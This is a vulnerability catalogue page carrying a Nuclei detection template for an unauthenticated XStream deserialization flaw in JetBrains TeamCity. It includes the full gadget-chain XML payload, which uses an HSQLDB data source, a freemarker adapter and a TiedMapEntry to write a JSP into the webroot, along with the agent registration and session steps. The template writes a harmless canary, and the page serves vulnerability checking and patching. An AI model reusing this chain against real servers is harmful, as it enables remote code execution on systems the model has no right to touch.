Browse / CVEs / CVE-2026-63077
CVE-2026-63077· jetbrains / teamcity· CWE-502
JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution
Exploited in the wild. Listed by CISA on 2026-08-05; known to be used by ransomware.
JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unsafe XStream deserialization in the unauthenticated agent polling protocol. The XStream instance serving /app/agents/v1 is created without NoTypePermission.NONE, so XStream's default type permissions (Throwable, Map and Collection hierarchies) remain in effect next to the TeamCity allowlist. An unauthenticated attacker registers an agent, obtains a TeamCity-AgentSessionId, and posts an XStream XML object graph to /app/agents/v1/commands/error that makes TeamCity write an attacker-controlled file into the webroot. This template writes an arithmetic-canary JSP (no OS command execution) and matches its evaluated output.
Impact
Unauthenticated remote attackers can execute arbitrary code with the privileges of the TeamCity server process.
Fix
Upgrade to TeamCity 2026.1.3, 2025.11.7 or later.
How to confirm it
Send: GET /
Positive when: status_code == 200 and contains_any(body, "TeamCity", "teamcity", "JetBrains")
Send: POST /app/agents/v1/register
Positive when: status_code == 200 and contains_any(to_lower(header), "teamcity-agentsessionid:")
Send: POST /app/agents/v1/commands/error
Positive when: status_code == 200 || status_code == 500
Send: GET /pd-tp-{{randstr}}.jspws
Positive when: contains "PD-TP-CONFIRMED" AND not contains "<%=7*6%>" AND status 200 AND status 200Run it with nuclei: nuclei -id CVE-2026-63077 -u <target>
The full check
id: CVE-2026-63077
info:
name: JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution
author: 0x_Akoko,pdteam
severity: critical
description: |
JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unsafe XStream deserialization in the unauthenticated agent polling protocol. The XStream instance serving /app/agents/v1 is created without NoTypePermission.NONE, so XStream's default type permissions (Throwable, Map and Collection hierarchies) remain in effect next to the TeamCity allowlist. An unauthenticated attacker registers an agent, obtains a TeamCity-AgentSessionId, and posts an XStream XML object graph to /app/agents/v1/commands/error that makes TeamCity write an attacker-controlled file into the webroot. This template writes an arithmetic-canary JSP (no OS command execution) and matches its evaluated output.
impact: |
Unauthenticated remote attackers can execute arbitrary code with the privileges of the TeamCity server process.
remediation: |
Upgrade to TeamCity 2026.1.3, 2025.11.7 or later.
reference:
- https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/
- https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
- https://github.com/sfewer-r7/CVE-2026-63077
- https://nvd.nist.gov/vuln/detail/CVE-2026-63077
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-63077
cwe-id: CWE-502
epss-score: 0.94887
epss-percentile: 0.9986
cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: jetbrains
product: teamcity
shodan-query: title:"TeamCity"
fofa-query: title="TeamCity"
tags: cve,cve2026,jetbrains,teamcity,rce,deserialization,kev,intrusive,vkev
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(body, "TeamCity", "teamcity", "JetBrains")'
condition: and
internal: true
- raw:
- |
POST /app/agents/v1/register HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<agentDetails agentName="nuclei-{{randstr}}" agentAddress="127.0.0.1" agentPort="9090" authToken="nuclei-{{randstr}}" pingCode="">
<alternativeAddresses/>
<availableRunners/>
<availableVcs/>
<buildParameters/>
<configParameters/>
</agentDetails>
extractors:
- type: regex
name: session
part: header
group: 1
regex:
- '(?i)teamcity-agentsessionid: ([^\r\n]+)'
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(to_lower(header), "teamcity-agentsessionid:")'
condition: and
internal: true
- raw:
- |
POST /app/agents/v1/commands/error HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
TeamCity-AgentSessionId: {{session}}
TeamCity-AgentCommandId: 123456
<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
<entry>
<string>n1</string>
<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
<outer-class>
<myHSQLStorage>
<myDataSource>
<defaultTransactionIsolation>-1</defaultTransactionIsolation>
<cacheState>true</cacheState>
<driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
<lifo>true</lifo>
<maxTotal>8</maxTotal>
<maxIdle>8</maxIdle>
<minIdle>0</minIdle>
<initialSize>0</initialSize>
<maxWaitMillis>-1</maxWaitMillis>
<poolPreparedStatements>false</poolPreparedStatements>
<clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
<maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
<testOnCreate>false</testOnCreate>
<testOnBorrow>true</testOnBorrow>
<testOnReturn>false</testOnReturn>
<timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
<numTestsPerEvictionRun>3</numTestsPerEvictionRun>
<minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
<softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
<evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
<testWhileIdle>false</testWhileIdle>
<password/>
<url>jdbc:hsqldb:mem:nuclei{{randstr}}</url>
<userName>SA</userName>
<validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
<connectionInitSqls>
<string>CREATE TABLE TN{{randstr}}(CN{{randstr}} VARCHAR(4000))</string>
<string>INSERT INTO TN{{randstr}} VALUES ('<p><%=7*6%></p>PD-TP-CONFIRMED')</string>
<string>SCRIPT '../webapps/ROOT/pd-tp-{{randstr}}.jspws'</string>
</connectionInitSqls>
<accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
<maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
<logExpiredConnections>true</logExpiredConnections>
<autoCommitOnReturn>true</autoCommitOnReturn>
<rollbackOnReturn>true</rollbackOnReturn>
<fastFailValidation>false</fastFailValidation>
<connectionProperties/>
<closed>false</closed>
</myDataSource>
<myStopped>false</myStopped>
<myDatabaseOpen>false</myDatabaseOpen>
</myHSQLStorage>
</outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
</entry>
<entry>
<string>n2</string>
<freemarker.ext.beans.HashAdapter>
<wrapper>
<sharedIntrospectionLock/>
<classIntrospector>
<exposureLevel>0</exposureLevel>
<exposeFields>false</exposeFields>
<treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
<incompatibleImprovements>
<major>2</major>
<minor>3</minor>
<micro>0</micro>
<intValue>2003000</intValue>
<calculatedStringValue>2.3.0</calculatedStringValue>
<hashCode>0</hashCode>
</incompatibleImprovements>
<hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
<shared>false</shared>
<sharedLock reference="../../sharedIntrospectionLock"/>
<cache/>
<cacheClassNames/>
<classIntrospectionsInProgress/>
<modelFactories/>
<clearingCounter>0</clearingCounter>
</classIntrospector>
<falseModel>
<object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
<wrapper reference="../.."/>
<value>false</value>
</falseModel>
<writeProtected>false</writeProtected>
<defaultDateType>0</defaultDateType>
<methodsShadowItems>true</methodsShadowItems>
<simpleMapWrapper>false</simpleMapWrapper>
<strict>false</strict>
<preferIndexedReadMethod>true</preferIndexedReadMethod>
<incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
</wrapper>
<model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>
</entry>
<entry>
<string>n3</string>
<set>
<org.apache.commons.collections.keyvalue.TiedMapEntry>
<map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
</org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>
</entry>
</linked-hash-map>
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 500'
internal: true
- raw:
- |
GET /pd-tp-{{randstr}}.jspws HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "PD-TP-CONFIRMED"
- type: word
part: body
words:
- "<%=7*6%>"
negative: true
- type: status
status:
- 200
- type: status
status:
- 200References
- https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/
- https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
- https://github.com/sfewer-r7/CVE-2026-63077
- https://nvd.nist.gov/vuln/detail/CVE-2026-63077
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077
Use this check only on systems you are authorised to test. Where the data comes from